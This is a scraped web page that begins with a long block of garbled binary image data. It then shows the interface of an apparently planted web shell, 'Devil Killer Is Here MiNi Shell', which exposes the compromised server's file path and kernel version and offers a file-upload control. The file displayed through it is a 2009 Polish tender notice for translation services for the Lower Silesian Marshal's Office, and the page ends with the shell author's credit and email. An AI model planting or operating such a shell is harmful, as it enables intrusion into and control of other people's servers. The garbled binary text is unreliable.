JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20090402/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20090402/89762-N-2009.html

<p class="kh_header"><b>Wrocław: Usługi tłumaczeń pisemnych i ustnych świadczone na rzecz Urzędu Marszałkowskiego Województwa Dolnośląskiego</b><br>
<b>Numer ogłoszenia: 89762 - 2009; data zamieszczenia: 02.04.2009</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Województwo Dolnośląskie - Urząd Marszałkowski Województwa Dolnośląskiego , ul. Wybrzeże J. Słowackiego 12-14, 50-411 Wrocław, woj. dolnośląskie, tel. 071 7769397,7769703-05,7779229, faks 071 7769141, 7769702.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.umwd.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Usługi tłumaczeń pisemnych i ustnych świadczone na rzecz Urzędu Marszałkowskiego Województwa Dolnośląskiego.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest świadczenie usług tłumaczeń pisemnych i ustnych na rzecz Urzędu Marszałkowskiego Województwa Dolnośląskiego.

Opis części zamówienia:

1. Przedmiot zamówienia stanowi świadczenie usług tłumaczeń ustnych (symultanicznych 
i konsekutywnych) na spotkaniach, seminariach, szkoleniach, konferencjach odbywających się na terenie kraju i poza jego granicami w następującym zakresie:

Język:	Tłumaczenia konsekutywne
	w kraju/godzina	za granicą/doba
angielski, niemiecki, francuski, czeski, rosyjski, ukraiński, włoski, hiszpański 	198	10

Język:	Tłumaczenia symultaniczne
	w kraju/godzina	za granicą/doba
angielski, niemiecki, francuski, czeski, rosyjski, ukraiński, włoski, hiszpański	30	-

Podana ilość godzin/dób, jest ilością szacunkową/maksymalną. Zamawiający zastrzega prawo zamówienia mniejszej ilości tłumaczeń lub rezygnacji z niektórych tłumaczeń.
Tematyka tłumaczeń obejmuje zagadnienia: administracyjne, samorządowe, gospodarcze, prawne, z zakresu problematyki Unii Europejskiej, wymiany wiedzy 
i doświadczeń w zakresie innowacji, zasobów ludzkich i nowych form współpracy pomiędzy regionami partnerskimi, rolnictwa, ochrony środowiska, spraw socjalnych, edukacji, transportu i infrastruktury technicznej. Zamawiający wymaga znajomości terminologii specjalistycznej w w/w zakresie. 
Zamawiający przewiduje konieczność uczestnictwa w niektórych spotkaniach większej liczby tłumaczy tj. minimum 3 tłumaczy dla języka francuskiego, niemieckiego i angielskiego. Wykonawca musi zagwarantować przystąpienie do realizacji zlecenia w ciągu 2 dni roboczych od jego otrzymania. Tłumacz ma obowiązek zgłosić się na spotkanie w stosownym stroju.
Tłumaczenia będą wykonywane przez 7 dni w tygodniu (również w soboty, niedziele, święta). Wykonawca zobowiązany jest zapewnić stały dostęp do usług tłumaczeń- dyspozycyjność w przypadku nagłych potrzeb UMWD.
W przypadku tłumaczeń ustnych wykonywanych poza granicami kraju:
przejazd zapewnia Zamawiający, jednak w przypadku gdy Zamawiający nie zapewni transportu, Wykonawca doliczy do faktury za zrealizowaną usługę tłumaczeniową koszty przejazdu tłumacza. Wybór środka transportu zostanie dokonany zgodnie z zaleceniami Zamawiającego 
a zakup biletu nastąpi po zaakceptowaniu przez Zamawiającego związanych z tym kosztów,
koszty zakwaterowania pokrywa Wykonawca, z tym że jest zobowiązany do zakwaterowania tłumacza w miejscu wskazanym przez Zamawiającego, a koszty z tym związane doliczone zostaną do faktury 
za zrealizowaną usługę tłumaczeniową; dopuszcza się iż zakwaterowanie zapewni Zamawiający, wówczas umieści taką informację w zleceniu 
na tłumaczenie, o którym mowa w § 2 ust. 2 wzoru umowy,
wyżywienie zapewnia Zamawiający, jednak w przypadku, gdy Zamawiający nie zapewni wyżywienia, Wykonawca doliczy do faktury 
za zrealizowaną usługę tłumaczeniową koszty wyżywienia tłumacza zgodnie z zasadami określonymi w rozporządzeniu z dnia 19 grudnia 
2008 r. w sprawie wysokości oraz warunków ustalania należności przysługujących pracownikowi zatrudnionemu w państwowej lub samorządowej jednostce sfery budżetowej z tytułu podróży służbowej poza granicami kraju (Dz. U. z 2002 r. nr 236 poz. 1991).
W przypadku tłumaczeń odbywających się na terenie kraju Wykonawca powinien podać stawkę za 1 godzinę tłumaczeń, a w przypadku tłumaczeń odbywających się 
za granicą - stawkę za 1 dobę. Stawka dobowa liczona jest od rozpoczęcia wyjazdu 
do czasu  powrotu po wykonaniu zlecenia, w następujący sposób:
- za pierwsze 24 godziny - przysługuje 1 stawka dobowa, również w sytuacji, gdy podróż trwa krócej niż dobę.
Jeżeli podróż trwa dłużej niż dobę, za każdą kolejną rozpoczętą dobę wynagrodzenie tłumacza liczone jest w następujący sposób:
- do 8 godzin - przysługuje 1/3 stawki dobowej;
- ponad 8 do 12 godzin  - przysługuje1/2 stawki dobowej;
- ponad 12 godzin - 1 doba.

2. Przedmiot zamówienia stanowi świadczenie usług tłumaczeń pisemnych (zwykłych 
i przysięgłych), w  następującym zakresie:

Tłumaczenia z języka obcego na język polski	Tłumaczenia zwykłe (ilość stron)	Tłumaczenia przysięgłe(ilość stron)
angielski, niemiecki, francuski, czeski, rosyjski, ukraiński, włoski, hiszpański	50	4

Tłumaczenia z języka polskiego na język obcy	Tłumaczenia zwykłe(ilość stron)	Tłumaczenia przysięgłe(ilość stron)
angielski, niemiecki, francuski, czeski, rosyjski, ukraiński, włoski, hiszpański	60	6

Podana ilość stron jest ilością szacunkową/maksymalną. Zamawiający zastrzega sobie prawo zamówienia mniejszej ilości tłumaczeń lub rezygnacji z niektórych tłumaczeń.
Tematyka tłumaczeń obejmuje zagadnienia: administracyjne, samorządowe, gospodarcze, prawne, z zakresu problematyki Unii Europejskiej, wymiany wiedzy 
i doświadczeń w zakresie innowacji zasobów ludzkich i nowych form współpracy pomiędzy regionami partnerskimi, rolnictwa, ochrony środowiska, spraw socjalnych, edukacji, transportu i infrastruktury technicznej. Zamawiający wymaga znajomości terminologii specjalistycznej w w/w zakresie. 
3) Zamawiający przyjął, że jedna strona tłumaczeniowa to 1500 znaków wraz ze spacjami, dla tłumaczeń zwykłych i 1125 dla tłumaczeń przysięgłych. Zamawiający przewiduje następujące terminy realizacji tłumaczeń pisemnych:
do 7 dni roboczych dla materiałów zawierających nie więcej niż 25 stron tłumaczeniowych, liczonych od chwili ich przekazania wykonawcy.
do 14 dni roboczych dla materiałów zawierających więcej niż 25 stron tłumaczeniowych, liczonych od chwili ich przekazania wykonawcy.
4) Dla 100 stron tłumaczenia z języka polskiego na język angielski, niemiecki, francuski, czeski, słowacki, rosyjski, ukraiński, włoski, hiszpański, szwedzki, duński i inne języki europejskie Zamawiający wymaga korekty tłumaczonych tekstów przez native speakera.
5) Wykonawca zapewni własny odbiór materiałów do tłumaczenia oraz dostarczy przetłumaczony tekst do jednostki organizacyjnej UMWD w wyznaczonym terminie. Jednostka organizacyjna może zaakceptować przesyłanie dokumentów e-mailem lub faksem. Forma graficzna przetłumaczonych dokumentów powinna być analogiczna 
do dokumentów przekazanych do tłumaczenia. Ponadto dokumenty przesłane drogą elektroniczną powinny być w takiej formie, aby Zamawiający mógł dokonać zmian w ich treści..</p>
<p><b>II.1.4) Wspólny Słownik Zamówień (CPV):</b> 79.54.00.00-1, 79.53.00.00-8.</p>
<p><b>II.1.5) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.1.7) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p><p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 31.03.2010.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WARUNKI DOTYCZĄCE ZAMÓWIENIA</b>
</p><b>Informacja na temat wadium:</b> nie dotyczy<br><p><b>III.2) WARUNKI UDZIAŁU</b></p>
<ul class="kh_indent_1"><li><b>Opis warunków udziału w postępowaniu oraz opis sposobu dokonywania oceny spełniania tych warunków:</b> 1.	O udzielenie zamówienia mogą się ubiegać wykonawcy, którzy:
a)	posiadają uprawnienia niezbędne do wykonywania działalności będącej przedmiotem zamówienia, jeżeli ustawy nakładają obowiązek posiadania  takich uprawnień;
b)	posiadają niezbędną wiedzę i doświadczenie oraz potencjał techniczny, a także dysponują osobami zdolnymi do wykonania zamówienia; tj.: wykażą, że w ciągu ostatnich trzech lat - lub jeżeli okres prowadzenia działalności jest krótszy - w tym okresie:
-	wykonywali tłumaczenia w językach i o tematyce przewidzianej dla danego zadania na rzecz instytucji administracji publicznej bądź innych podmiotów zajmujących się współpracą z krajami Unii Europejskiej,
-	obsługiwali minimum 3 spotkania lub konferencje międzynarodowe (w zakresie tłumaczeń ustnych), organizowane przez instytucje administracji publicznej bądź inne podmioty zajmujące się współpracą z krajami Unii Europejskiej,
-	gwarantują realizacje tłumaczeń przez tłumaczy posiadających kwalifikacje 
i minimum 2-letnie doświadczenie w tłumaczeniach określonych 
w przedmiocie zamówienia, 
-	zagwarantują  udział minimum 3 tłumaczy  w trakcie jednego spotkania dla języka angielskiego, francuskiego i niemieckiego.
c)	znajdują się w sytuacji ekonomicznej i finansowej zapewniającej wykonanie zamówienia;
d)	nie podlegają wykluczeniu z postępowania o udzielenie zamówienia na podstawie art. 24 ust. 1 i ust. 2 pkt 1 ustawy Pzp..</li>
<li><b>Informacja o oświadczeniach i dokumentach, jakie mają dostarczyć wykonawcy w celu potwierdzenia spełniania warunków udziału w postępowaniu:</b> 5.	W celu potwierdzenia spełniania warunków udziału w postępowaniu oferta musi zawierać następujące dokumenty i oświadczenia:
a)	oświadczenie, że Wykonawca spełnia warunki określone w art. 22 ust. 1 ustawy Pzp. 
b)	aktualny odpis z właściwego rejestru albo aktualne zaświadczenie o wpisie 
do ewidencji działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu 
do rejestru lub zgłoszenia do ewidencji działalności gospodarczej (wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert). 
c)	wykaz wykonanych w okresie ostatnich 3 lat - lub jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, zamówień o podobnym zakresie 
do niniejszego zamówienia, z podaniem ich wartości, przedmiotu, dat wykonania 
i odbiorców, wraz z dokumentami potwierdzającymi, że zamówienia te zostały wykonane należycie.
d)	wykaz osób i podmiotów, które będą wykonywać zamówienie lub będą uczestniczyć w wykonywaniu zamówienia, wraz z informacjami na temat ich kwalifikacji niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nich czynności.

Zamawiający wzywa do uzupełnienia oświadczeń lub dokumentów potwierdzających spełnienie warunków udziału w postępowaniu na zasadach określonych w art. 26 ust 3 ustawy Pzp..</li></ul>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>

<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>
<br><p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p><p><b>IV.2.2) Wykorzystana będzie aukcja elektroniczna:</b> nie.</p><br><p><b>IV.3) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.3.1)</b>&nbsp;<b>Adres strony internetowej, na której dostępna jest specyfikacja istotnych warunków zamówienia:</b> www.bip.umwd.dolnyslask.pl.<br><b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Urząd Marszałkowski Województwa Dolnośląskiego
Wrocław, ul. Mazowiecka 15
pok. 104.</p>
<p><b>IV.3.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 10.04.2009 godzina 09:30, miejsce: Urząd Marszałkowski Województwa Dolnośląskiego
Wybrzeże J. Słowackiego 12-14
50-411 Wrocław
pok. 101.</p><p><b>IV.3.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com